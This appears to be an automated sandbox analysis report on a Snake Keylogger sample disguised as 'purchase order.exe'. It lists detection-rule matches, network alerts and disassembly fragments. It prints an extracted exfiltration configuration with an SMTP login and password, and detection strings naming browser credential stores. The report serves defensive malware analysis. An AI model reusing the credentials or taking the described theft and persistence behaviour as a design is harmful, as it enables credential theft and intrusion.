0.2.purchase order.exe.3e6e350.3.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x165e8:$x1: $%SMTPDV$ 0x1664e:$x2: $#TheHashHere%& 0x17c5f:$x3: %FTPDV$ 0x17d53:$x4: $%TelegramDv$ 0x13ee3:$x5: KeyLoggerEventArgs 0x14278:$x5: KeyLoggerEventArgs 0x17c83:$m2: Clipboard Logs ID 0x17ea3:$m2: Screenshot Logs ID 0x17fb3:$m2: keystroke Logs ID 0x1828d:$m3: SnakePW 0x17e7b:$m4: \SnakeKeylogger\
5.2.Bohw.exe.41bfeb8.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.Bohw.exe.41bfeb8.5.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
5.2.Bohw.exe.41bfeb8.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12c95:$a1: get_encryptedPassword 0x12f81:$a2: get_encryptedUsername 0x12aa1:$a3: get_timePasswordChanged 0x12b9c:$a4: get_passwordField 0x12cab:$a5: set_encryptedPassword 0x14315:$a7: get_logins 0x14278:$a10: KeyLoggerEventArgs 0x13ee3:$a11: KeyLoggerEventArgsEventHandler
5.2.Bohw.exe.41bfeb8.5.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a64f:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19881:$a3: \Google\Chrome\User Data\Default\Login Data 0x19cb4:$a4: \Orbitum\User Data\Default\Login Data 0x1acf3:$a5: \Kometa\User Data\Default\Login Data
5.2.Bohw.exe.41bfeb8.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x13870:$s1: UnHook 0x13877:$s2: SetHook 0x1387f:$s3: CallNextHook 0x1388c:$s4: _hook
5.2.Bohw.exe.41bfeb8.5.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x165e8:$x1: $%SMTPDV$ 0x1664e:$x2: $#TheHashHere%& 0x17c5f:$x3: %FTPDV$ 0x17d53:$x4: $%TelegramDv$ 0x13ee3:$x5: KeyLoggerEventArgs 0x14278:$x5: KeyLoggerEventArgs 0x17c83:$m2: Clipboard Logs ID 0x17ea3:$m2: Screenshot Logs ID 0x17fb3:$m2: keystroke Logs ID 0x1828d:$m3: SnakePW 0x17e7b:$m4: \SnakeKeylogger\
0.2.purchase order.exe.46162f8.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.purchase order.exe.445a318.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 26 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Bohw.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\purchase order.exe, ProcessId: 6884, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bohw

Suricata Signatures

ET MALWARE PE EXE or DLL Windows file download Text M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T15:10:46.895811+0200	2022640	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.12	49712	TCP
2024-09-26T15:11:09.710634+0200	2022640	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.12	49727	TCP
2024-09-26T15:11:17.755398+0200	2022640	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.12	49732	TCP

ET MALWARE PE EXE or DLL Windows file download disguised as ASCII

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T15:10:46.895811+0200	2017962	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.12	49712	TCP
2024-09-26T15:11:09.710634+0200	2017962	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.12	49727	TCP
2024-09-26T15:11:17.755398+0200	2017962	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.12	49732	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T15:11:06.480089+0200	2803305	3	Unknown Traffic	192.168.2.12	49723	188.114.96.3	443	TCP
2024-09-26T15:11:11.305836+0200	2803305	3	Unknown Traffic	192.168.2.12	49728	188.114.96.3	443	TCP
2024-09-26T15:11:29.707240+0200	2803305	3	Unknown Traffic	192.168.2.12	49737	188.114.96.3	443	TCP
2024-09-26T15:11:33.111589+0200	2803305	3	Unknown Traffic	192.168.2.12	49742	188.114.96.3	443	TCP
2024-09-26T15:11:36.959489+0200	2803305	3	Unknown Traffic	192.168.2.12	49746	188.114.96.3	443	TCP
2024-09-26T15:11:39.157412+0200	2803305	3	Unknown Traffic	192.168.2.12	49750	188.114.96.3	443	TCP
2024-09-26T15:11:51.454033+0200	2803305	3	Unknown Traffic	192.168.2.12	49761	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T15:11:02.589735+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49714	158.101.44.242	80	TCP
2024-09-26T15:11:03.791216+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49714	158.101.44.242	80	TCP
2024-09-26T15:11:05.872644+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49714	158.101.44.242	80	TCP
2024-09-26T15:11:08.259889+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49724	158.101.44.242	80	TCP
2024-09-26T15:11:27.181770+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49734	158.101.44.242	80	TCP
2024-09-26T15:11:29.134875+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49734	158.101.44.242	80	TCP
2024-09-26T15:11:31.353669+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49738	158.101.44.242	80	TCP
2024-09-26T15:11:32.556770+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49741	158.101.44.242	80	TCP
2024-09-26T15:11:32.931771+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49739	158.101.44.242	80	TCP
2024-09-26T15:11:35.829971+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49739	158.101.44.242	80	TCP
2024-09-26T15:11:36.369267+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49739	158.101.44.242	80	TCP
2024-09-26T15:11:38.588015+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49748	158.101.44.242	80	TCP
2024-09-26T15:11:41.306839+0200	2803274	2	Potentially Bad Traffic	192.168.2.12	49751	158.101.44.242	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "offic@zulpine.shop", "Password": "e5xECScP5KfC", "Host": "zulpine.shop", "Port": "587", "Version": "5.1"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Bohw.exe

ReversingLabs: Detection: 26%

Multi AV Scanner detection for submitted file

Source: purchase order.exe

ReversingLabs: Detection: 26%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: purchase order.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49719 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49736 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.12:49743 version: TLS 1.0

Source: purchase order.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: purchase order.exe, 00000000.00000002.2588851918.00000000062D0000.00000004.08000000.00040000.00000000.sdmp, purchase order.exe, 00000000.00000002.2562619259.0000000003028000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003DB1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.0000000003537000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.0000000003D8F000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002F67000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: purchase order.exe, 00000000.00000002.2588851918.00000000062D0000.00000004.08000000.00040000.00000000.sdmp, purchase order.exe, 00000000.00000002.2562619259.0000000003028000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003D39000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.0000000003DB1000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2815939697.00000000041BF000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000005.00000002.2797251717.0000000003537000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2896822556.0000000003D8F000.00000004.00000800.00020000.00000000.sdmp, Bohw.exe, 00000006.00000002.2879526593.0000000002F67000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: purchase order.exe, 00000000.00000002.2572247495.0000000003F19000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2572247495.00000000046EA000.00000004.00000800.00020000.00000000.sdmp, purchase order.exe, 00000000.00000002.2588621695.0000000006240000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CD47D6h	0_2_05CD43E9
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CD47D6h	0_2_05CD43F8
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CDB448h	0_2_05CDB388
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CDB448h	0_2_05CDB390
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CD5187h	0_2_05CD4F69
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CD5187h	0_2_05CD4F78
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05CDFAC8
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_05CDFAC2
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CE1B2Ah	0_2_05CE17F1
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CE1B2Ah	0_2_05CE1959
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then jmp 05CE1B2Ah	0_2_05CE1800
Source: C:\Users\user\Desktop\purchase order.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_061DD228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0272EAC5h	3_2_0272E8D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0272F44Fh	3_2_0272E8D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 0272FBC1h	3_2_0272F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_0272E2D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_0272E4B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_0272DCA0
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	5_2_0652FA7A
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	5_2_0652FAC2
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	5_2_0652FAC8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 06525187h	5_2_06524F78
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 06525187h	5_2_06524F69
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 065247D6h	5_2_065243F8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 065247D6h	5_2_065243E9
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 0652B448h	5_2_0652B390
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 0652B448h	5_2_0652B388
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 06531B2Ah	5_2_065317F2
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 06531B2Ah	5_2_06531800
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 06531B2Ah	5_2_06531959
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	5_2_065FD228
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DB47D6h	6_2_05DB43F8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DB47D6h	6_2_05DB43E9
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DBB448h	6_2_05DBB390
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DBB448h	6_2_05DBB388
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DB5187h	6_2_05DB4F78
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DB5187h	6_2_05DB4F69
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_05DBFAC8
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_05DBFAC2
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DC1B2Ah	6_2_05DC17F1
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DC1B2Ah	6_2_05DC1959
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then jmp 05DC1B2Ah	6_2_05DC1800
Source: C:\Users\user\AppData\Roaming\Bohw.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	6_2_062BD228
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 00EBFBC9h	7_2_00EBF8F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 00EBEACDh	7_2_00EBE8DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 00EBF457h	7_2_00EBE8DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_00EBE2DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_00EBE4BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_00EBDCA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064884E5h	7_2_064881A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064858B9h	7_2_06485610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06486169h	7_2_06485EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_06482F48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_06482F58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06486A19h	7_2_06486770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06480741h	7_2_06480498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06487749h	7_2_064874A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06487FF9h	7_2_06487D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06484FE1h	7_2_06484D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06485D11h	7_2_06485A68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	7_2_0648326E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064865C1h	7_2_06486318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06486E9Ah	7_2_06486BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064872F1h	7_2_06487048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 064802E9h	7_2_06480040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06487BA1h	7_2_064878F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06480B99h	7_2_064808F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 06485461h	7_2_064851B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 02CCEACDh	8_2_02CCE8DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 02CCF457h	8_2_02CCE8DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 02CCFBC9h	8_2_02CCF8F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_02CCE4BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_02CCDCA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BDA49h	8_2_066BD7A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066B1011h	8_2_066B0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066B15D8h	8_2_066B11C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BC8E9h	8_2_066BC640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BF8B1h	8_2_066BF608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BD199h	8_2_066BCEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BB789h	8_2_066BB4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BE751h	8_2_066BE4A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066B0751h	8_2_066B04A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BF001h	8_2_066BED58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066B15D8h	8_2_066B1506
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BC039h	8_2_066BBD90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BFD09h	8_2_066BFA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BCD41h	8_2_066BCA98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BD5F1h	8_2_066BD348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BDEA1h	8_2_066BDBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066B02F1h	8_2_066B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BE2F9h	8_2_066BE050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BB331h	8_2_066BB088
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BBBE1h	8_2_066BB938
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066B0BB1h	8_2_066B0900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BEBA9h	8_2_066BE900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BC491h	8_2_066BC1E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066B15D8h	8_2_066B11B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066BF459h	8_2_066BF1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E7749h	8_2_066E74A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E84E5h	8_2_066E81A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E58B9h	8_2_066E5610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E6169h	8_2_066E5EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E6A19h	8_2_066E6770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_066E2F48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_066E2F58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E0741h	8_2_066E0498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E7FF9h	8_2_066E7D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E4FE1h	8_2_066E4D38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_066E326E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E5D11h	8_2_066E5A68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E65C1h	8_2_066E6318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E6E9Ah	8_2_066E6BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E72F1h	8_2_066E7048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E02E9h	8_2_066E0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E7BA1h	8_2_066E78F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E0B99h	8_2_066E08F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4x nop then jmp 066E5461h	8_2_066E51B8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 172.86.66.70:80 -> 192.168.2.12:49712
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 172.86.66.70:80 -> 192.168.2.12:49712
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 172.86.66.70:80 -> 192.168.2.12:49727
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 172.86.66.70:80 -> 192.168.2.12:49727
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 172.86.66.70:80 -> 192.168.2.12:49732
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 172.86.66.70:80 -> 192.168.2.12:49732

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.purchase order.exe.3e6e350.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Bohw.exe.41bfeb8.5.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
